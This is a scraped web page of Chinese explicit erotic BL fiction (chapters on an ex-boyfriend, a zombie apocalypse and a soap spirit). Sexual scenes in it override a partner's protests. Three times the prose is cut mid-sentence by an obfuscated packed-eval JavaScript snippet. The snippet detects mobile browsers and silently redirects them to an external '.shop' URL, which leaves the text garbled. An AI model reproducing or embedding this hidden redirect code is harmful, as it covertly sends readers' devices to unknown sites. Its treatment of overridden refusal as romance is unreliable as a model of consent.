《你想看到怎样的攻》 3. 前任 云想玉刷到那条十几万赞的同城视频时,正抱着膝盖坐在沙发上,漫无目的地滑动屏幕。 视频配文:一个不喜欢喝奶茶的人爱上了一个喜欢喝奶茶的人。#前女友爱喝茶 配图:[白底黑字的招牌,字体张扬。] 定位Y市|前女友爱喝茶(餐饮店) 评论区热闹得很。 【嘉豪的店。】 【有没有情侣套餐?】 【找茬是不是!】 【我去,点上一杯再去失恋博物馆逛上一圈,岂不惬意?】 【前男友爱吃福(豆包AI).jpg】 【你别说,我前男友还真爱吃……这是能说的吗?】 【收款码也放前女友的呗!】 【前女友看完心脏慢慢休息下来了】 【一个月后:那就好好告个别吧】 【我不喝古茗,不喝一點點,不喝喜茶,不喝沪上阿姨,不喝蜜雪冰城,不喝……我就要喝这家前女友爱喝茶!】 【网上笑笑得了,搁现实里谁不想贷个百八十万的去急头白脸喝几杯,反正我是决定要去了,这月底31号就去尝尝】 【这个月哪有31号?不想去直说!】 【《我的24岁女上司》书友见面会,爱你老妈见面会,忘不掉的白月光见面会】 …… 云想玉滑走时在心里默默跟了句:店主真是个傻逼。 随手刷到的视频,他没放在心上。 事实上,这三天他什么都很难放在心上,整个人像被抽空了力气,做什么都提不起劲。 三天了。 整整七十二个小时,陈迹没有联系他,一条消息都没有。 其实那天吵得不算凶。云想玉气上头,红着眼睛喊了一句“分手”,陈迹深深看他一眼,什么也没说,拿起外套出门了。 房子是陈迹买的,但入户时填的是云想玉的名字。此刻诺大的房子安静的可怕,每一个角落好像都残留着陈迹的气息。 云想玉又想哭了,但是他忍住了,决定出门走走散散心。 不知不觉就走到一个街口,他头一抬,正是那家被他骂了句傻逼的前女友爱喝茶。 店门口立着个小黑板,上面写着一行字:曾经答应给她一个家。 云想玉突然鼻尖一酸。 陈迹,混蛋。 说好的给我一个家。 鬼使神差地,他推门走了进去。 店里人还不少,等了十来分钟才排到他,看着一整排的心碎,想念,仍爱,前任特调……他眼尾轻抽,抿直唇角,把笑意压回去。 “您好,需要什么呢?” 他随便挑了个名字没那么咯噔的奶茶——玉叶金枝,拿到后便走出了店。 他撕开吸管插入,喝了一口。 ……原来是凤凰单丛轻乳茶,味道居然还不错,他决定收回“店主真是个傻逼”的话。 拎着剩余的半杯奶茶慢慢往家走,走到门口时,他整个人愣住。 声控灯昏黄的光晕里,陈迹倚墙站着,身形颀长挺拔,眉眼冷俊,下巴冒出了点青茬。 “你还知道回来……”云想玉眼圈瞬间红了,下意识喃喃道。 陈迹没说话,走过来抽走他手里的奶茶随手一放,然后一把将他打横抱了起来。 “陈迹!放我下来!”云想玉慌乱地挣扎。 陈迹依然一言不发,下颌绷得很紧,抱着他径直走向卧室,踢上了门。 卧室没开灯,云想玉被扔到床上,还没反应过来,陈迹已经覆了上来。 他的吻带着惩罚力道,狠狠碾过云想玉的唇,然后一路向下。 云想玉双月退一凉,随即被扣着张开。 “陈迹!我不要……!”他想蹬腿,想推开那颗埋在他月退间的头,可力气根本敌不过。 那张网友用AI做的图——‘’前男友爱吃福‘’突然出现在他脑子里。 原来是这个意思。 他想笑,可又委屈,都分手了陈迹凭什么还这么理直气壮地吃?凭什么…… ……。 期间陈迹一句话都没说。 只有云想玉哭着,骂着,最后身体背叛了意志,只剩不间断的氵叫。 一切平息后,云想玉瘫软在床,看着脸上没有一丝表情的男人,眼泪滑过泛红的眼角:“我……只是你发泄的工具吗?” 陈迹终于说话了。 “你这口騒滗离了我能活?” 他眉间餍足,漫不经心地补充:“家里监控没关。” 云想玉身体一僵,泪都忘了流,抿紧唇慢慢往下缩滑进被子里。 可被子隔绝不了声音。 “我不在的这三天,用我衣服磨滗的是谁?边磨边叫老公的又是谁?” 云想玉羞得无法自抑…。 云想玉的情绪是一阵一阵的。 羞耻过后,他转而又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199106|197154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生气起来,猛地拉下被子,瞪着陈迹大喊:“是你把我变成这样的!” 说完眼泪又往下掉,他哽咽着重复道:“我本来不是这样的……是你……都怪你……” 两人在一起前,云想玉确实很单纯。他从小知道和别的男孩不一样,但从没弄过自己,也不明白为什么会有人沉迷这种事。 ……。 “又哭。”陈迹把他抱进怀里,掌心抚着他颤抖的背,“好,都怪我。” 云想玉坐在他腿上,还在抽抽嗒嗒地哭,伤心极了,他忍不住捏拳锤他,可身子绵软提不起丝毫力气。 陈迹抓住他的手,放在嘴边吻了吻,低声说:“怪老公。” 这声老公让云想玉哭得更凶了。 他抬起哭花的脸质问:“你、你这三天去、去哪里了?” “在公司看你。”陈迹抽过纸巾仔细给他擦脸。 云想玉挣扎往后仰,躲开他的手,“我们分手了,别碰我,呜呜呜……” 陈迹扣住他的细腰,不让他逃,“我不同意。” “分手是一个人的事情!” “我不同意。”陈迹淡淡道。 云想玉更委屈了:“你不同意也得同意!” “行。” 云想玉一愣,他就知道,陈迹根本不爱他了,连挽留都这么敷衍。 下一秒,陈迹把他翻过来,让他趴在自己腿上,冷声开口:“看来是还不够。” “什么?”云想玉还没反应过来,顺着话接。 “没把你那张嘴草服,让你这张嘴说个没完。” “啪!” “啊——!” 火辣辣的痛感在皮鼓炸开,云想玉尖叫出声,软肉抖出色气的弧度,尖尖迅速涨红起来。 更让他难堪的是,那儿竟也被这一巴掌打噴了。 “陈迹,我讨厌你!”云想玉哭着喊。 “还提分手吗?”陈迹的手悬在半空,随时可能落下第二掌。 云想玉嘴硬:“分手!” “行。”陈迹冷笑,“分手就是想要。” ……。 陈迹这才松开手,把他重新抱进怀里。 云想玉失神了好一会儿,才抬起潮湿的眼睫,小声撒娇:“老公,我再也不说分手了……” “嗯。” “我要喝你亲手给我做的奶茶……” “好。” “你现在就去给我煮!” 4. 末世 “老公,他好可怜呀,我们救救他吧?” 连清抱着秦岘的手臂摇了摇,伸手指向不远处,漂亮的眼睛水盈盈的,染上了些不忍。 秦岘顺着那根葱白纤细的手指看过去,一个青年正被十几只面目狰狞的丧尸追着跑,跌跌撞撞,好几次都险些被扑倒。 “行啊,”他意味不明的哼笑一声,随即揽住连清的小腰俯身贴近他耳侧,“晚上三次,我就救他。” 连清身子一僵。 三次…… 他脑子里瞬间闪过一些画面,白净的脸腾地红了。 末世前秦岘就强悍,末世后他觉醒雷系异能,身体素质全面增强,也包括那方面,吃酒度和粗石更程度愣是翻了一倍不止。 上上次碰上一个被变异动物追杀的大叔,他心生不忍让秦岘出手相助,秦岘说一次。那次他险些晕过去,第二天腿软得走不动路。 上次碰上一个与丧尸殊死搏斗渐渐落了下风的少女,他更是心软得不行,又让秦岘出手相助,秦岘说两次。 ……………。 想到这里,连清的睫毛颤得更厉害了,他咬了咬下唇,那唇瓣本是粉嫩的,被牙齿一压,泛起一点白,松开后便浮起一丝嫣红。 三次……自己会死吗? 可是那个人…… 他忍不住又往那边看了一眼,青年已经快跑不动了,身后的丧尸张着血盆大口,眼看就要扑上去。 “啊——!”青年惊恐交加,被一只丧尸勾破了衣角。 惨叫声和布料撕裂的声音传到连清耳里。 他心一揪,来不及害怕三次会怎么样,脱口而出:“好!” 话毕,秦岘松开了揽着他的手,像是早就料到般,骇人的白紫雷光从掌心炸开,十几道雷电精准地劈向那群丧尸,不偏不倚正中头颅。 丧尸甚至来不及发出嘶吼,就齐刷刷倒了下去,焦黑的尸体扭曲着冒烟。 连清呆呆地看着这一幕。 虽然已经见过很多次,但每次看到秦岘出手,他还是会被震撼到腿软。 老公好帅……好厉害。 他望向秦岘,眼里本因紧张蒙着的一层薄雾,被一点一点亮起来的光穿透,逐渐盈满崇拜。 那个死里逃生的青年腿一软,直接跪在地上,浑身抖得像筛糠,过了半分钟,他才抬起头,脸上又是血又是泪,狼狈得不成样子。 “谢、谢谢大哥……”他爬起身,踉跄着走过来,“谢谢大哥,谢谢嫂子,谢谢……” 连清下意识想说自己不是嫂子,但张了张嘴又闭上了。他是秦岘的……老婆,青年喊秦岘大哥,那喊他嫂子好像也没错? 算了,不管了。 “你别动,先歇口气。” 他说完转身从自己让秦岘必须挂在手臂上的真皮包包里翻出一瓶水和一袋饼干,递到青年面前。 “给你。” 青年愣住了,看着连清手里在末世算得上千金难买的水和食物,眼眶慢慢红了,“嫂子,你、你这是……” “拿着呀。”连清催他,水润的眼眸微弯,唇边浮起两个浅浅的梨涡,“你肯定好久没吃东西了吧?快吃。” “我……”青年嘴唇动了动,像是想说什么,最后只憋出一句:“谢谢嫂子,嫂子你人真好。” 连清摆摆手:“别说这些啦。你一会儿往东走,那边有个加油站,我们前几天清过,里面应该安全。你躲好,别乱跑了。” 他说话时眉头微微蹙着,眼里是实实在在的担忧,丝毫不作伪,仿佛眼前这个陌生人是他认识很久的朋友。 青年用力点点头,给两人深深鞠了一躬,转身朝东去了。 “老公,我们走吧,还要多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199107|197154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到黎明基地啊?走得我好累……” 连清仰起脸看秦岘,小声抱怨着,逆光里他脸上细小的绒毛清晰可见。 “背你?” “哎呀不用啦,我就是说说而已。” 他抱着秦岘的手臂,两人并肩往前走。 走了几步,他又喊。 “老公,老公……” “怎么?” “晚上可不可以少一次?我怕。” 他声音软下来,带着点讨好的意味,眼眸湿漉漉地望向男人。 那双眼睛本就生得漂亮妩媚,眼尾微微上挑,睫毛又长又密,此刻盛满了期待和一点点怯意,下方的粉唇微微嘟着,唇珠饱满,鲜艳欲滴。 天生一副勾人的騒滗样,真是看得人几把痛。 秦岘低头看他,勾起嘴角一字一句道:“不怕,老公疼你。” 连清悄悄夹了夹腿,好不容易消下去的脸又红了,嗔道:“老公!不要那种疼啦……” “好不好嘛,我受不了的……” 他整个人都快挂到秦岘身上了,小合鸟如毫无防备地隔着薄薄的T恤紧紧贴在男人结实的手臂上,无意识地轻轻蹭动,嘴里还在卖乖撒娇。 “老公,求你啦……” “驳回。” 说话间,两人走出十几步,秦岘避开连清的视线,指尖微动,将一枚晶核反手掷了出去。 连清毫无所觉,正绞尽脑汁思考让秦岘同意减次数的话术。 慢慢朝东走的青年似有所感,猛地伸手抓住那枚晶核。 上品晶核! “看来我比大叔和小妹的演技好,他们都只拿了中品呢……” 他咧嘴笑着,翻来覆去看了好几眼才揣进怀里,随即轻啧了一声:“可惜可惜,这活儿一个人只能接一回,再来一次怕是要被老板娘认出来咯。” 5.香皂 程衍洗澡从来都不用沐浴露,他只认香皂。 但这用香皂也是有讲究的,用人话来说就是有洁癖。他常年备着两块,一块洗身体,一块洗兄弟。 昨晚洗兄弟的那块刚好用完,他又赶着去上课,路过超市随手拿了一块,没注意到这不是他常用的那个牌子。 晚上洗澡,他照例先用第一块洗完,然后伸手去摸第二块,摸了个空。 这才想起来,新的还没拆。 程衍随手把湿发往后捋,从架子上把新香皂拿下来拆包装。 花洒没关,水声哗啦啦响。 “不准脱皂皂衣服!” 他手一顿。谁在说话?听起来像个小男孩。 等了等,没再听见动静,他便没当回事,浴室的窗没关太严,估计是楼下谁家孩子在闹吧。 这牌子包装还挺紧的,像有什么在里头用力扯着似的,程衍轻啧一声,用了点劲一把撕开,随即抓着它伸到花洒下冲。 平时他用香皂前都会冲一下水方便起泡,可这块冲了好一会儿,居然一点不化,表面还是干爽的。 他懒得再折腾了,心想反正自己身上已经淋水了,正所谓山不来就我,我自去就山,便直接将香皂按上去。 搓一下。 “啊呀!” 再搓一下。 “坏蛋!” “不要……呜呜呜……” 程衍停下动作,慢慢皱起眉。 不对劲。这声音不是外面的,更像是从他手里这块香皂里传出来的。 他不搓,香皂就不出声,他一搓,香皂就出声。 一开始还是凶巴巴的,后来越来越软乎,还渐渐带上了点哭腔,听起来……有点烧啊。 程衍胆子向来大,这会儿不但没怕,反而来了点兴趣。他紧紧盯着手里的香皂,猛地用力擦了几下。 神奇的事发生了,明明没遇水,香皂液却越流越多,黏糊糊的,温温热热的,带着不一样的香味,比他之前用过的所有香皂都好闻。 下一秒,眼前白光一闪,怀里突然多了一个东西。 他下意识接住。 ……一切都不科学了。 是个男孩,被他托着皮鼓面对面抱在怀里,两条细腿软软地挂在他臂弯上。 姿势不太妙。 男孩瘪着嘴,眼里蓄满了泪花,委屈巴巴地瞪他:“坏蛋!不许……………………” 程衍低头看着怀里这个自称“皂皂”的男孩,一时没说话。 皂皂浑身白得像牛奶,连眉毛也都是浅浅的绒白,整个人小小的一团,腰细得过分,可掌心托着的却颇有份量,连着大腿根都是肉乎绵软的。 ……。 “没有了……皂皂没有了!” 皂皂委屈得不行,好不容易攒的皂液被程衍这么一弄,浪费了大半。 他是第一次履行职责帮人洗澡,就碰上这么一个大坏蛋,绵软的小手胡乱挥在男人脸上,哭道:“我的液液……” ……。 皂液彻底流尽,皂皂晕了过去,这时保护机制启动,他自动变回一块香皂。 程衍眼疾手快,一把抓住掉落的香皂。 小小的香皂通体雪白,表面凝着一层厚薄不均的白色浓露,与皂身色泽有些相异。 - “皂皂,出来好不好?” 程衍自那天后就把皂皂好生放在自己的床头。 他通过监控可以看见皂皂经常趁他出门时化成人形在房子里转悠,甚至无师自通地学会了开电视,可一听到门锁响动,他就立马蹿回床头,变回一块安安静静的香皂。 程衍没辙了,站着床头故作威胁:“你再不出来,我就用你洗澡了。” 话音刚落,床上便凭空出现一个屈膝的雪团子。 程衍作势靠近,皂皂立马慌慌张张捂住小滗往后退,“皂皂不要!” 他双手举起,示意自己不会乱来,开口问:“那吃吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208774|197154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以吧?” 皂皂半信半疑,放下手,歪着脑袋打量起眼前这个高大帅气的男人。 程衍被他盯着,面上淡然坦荡,丝毫不惧,实则视线早就锁在了..。 “不可以哦。” 预料之中被拒绝了。 程衍一点也不意外,这小香皂精要是这么容易就点头答应,那才叫奇怪。 他饶有兴致地挑挑眉:“为什么?我就舔舔,不干别的。” 皂皂眨了眨眼,长长的白睫扑闪间,露出一个狡黠的笑意,“因为……皂皂的小滗有毒!” 程衍自是没错过他这副表情,一看就在耍人,不过他也乐得配合这个小笨蛋。 “怎么有毒?” 皂皂得意地晃晃脑袋,哼哼两声:“因为那里流出来的液液是洗澡澡的那种呀。吃到嘴里肯定会中毒的,你个笨人类!” 程衍一听,居然……有点道理,但直觉告诉他,皂皂有东西瞒着他。 果然,还没等他开口,皂皂就试探地蹲起凑了过来,仰起白生生的小脸蛋:”但是……” 这个角度,露得更多了,还正对着程衍的方向。……,像蚌肉里的小珍珠,他自己浑然不觉,还傻乎乎地往男人跟前凑。 程衍不动声色地勾唇:“但是什么?” 皂皂眼睛亮晶晶的,煞有介事地提出解决方案:“但是只要吃了小蛋糕,皂皂的液液就会变得没毒啦,你就可以吃了!” 程衍听明白了,不就是要个小蛋糕才给添滗吗,买就是。 “行,等我。” 皂皂充满期待地点点头:“嗯嗯!” 他之前住在超市货架上,听到来来往往的人偶尔会聊道“等会去哪吃小蛋糕”“xxx蛋糕好好吃”,一直馋得不行。 所以他骗了程衍,他都已经是香皂精啦,怎么可能有毒呢?不过没关系,等美味的小蛋糕吃到嘴里,让坏男人吃一下也不是不行。 唔……总比被曹好吧?